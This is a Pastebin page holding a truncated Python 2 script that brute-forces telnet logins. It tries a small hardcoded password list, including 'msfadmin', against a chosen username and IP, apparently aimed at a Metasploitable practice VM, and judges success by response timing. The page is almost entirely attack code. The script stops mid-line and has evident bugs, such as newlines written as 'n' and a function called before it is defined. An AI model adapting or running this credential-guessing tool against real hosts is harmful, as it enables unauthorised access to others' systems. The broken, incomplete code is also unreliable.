Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import telnetlib
- import re
- import sys
- import time
- import getopt
- from time import gmtime, strftime
- total_time_start = time.clock()
- #Get the arguments from the user
- try:
- opts, args = getopt.getopt(sys.argv[1:], "i:u:f:")
- except getopt.GetoptError as err:
- print str(err)
- sys.exit(2)
- passwords = ["hello","test", "msfadmin", "password"]
- username = " "
- ip = "0.0.0.0"
- output_file = " "
- for o, a in opts:
- if o == "-i":
- ip = a
- elif o in ("-u"):
- username =a
- elif o in ("-f"):
- output_file = a
- file_out()
- else:
- assert False, "unhandled option"
- #Connect using the password and username from the for loop later in the script.
- def connect(username, password, ip):
- global tn
- tn = telnetlib.Telnet(ip)
- print "[*] Trying " + username + " and " + password
- tn.read_until("metasploitable login: ")
- tn.write(username + "n")
- tn.read_until("Password: ")
- tn.write(password + "n")
- #Guess the password
- for password in passwords:
- attempt = connect(username, password, ip)
- time_start = time.clock()
- if attempt == tn.read_until("msfadmin@metasploitable", timeout = 1):
- pass
- time_end = time.clock()
- time_finish = time_end - time_start
- #Determine if the password is correct or not
- if time_finish > 0.001000:
- print "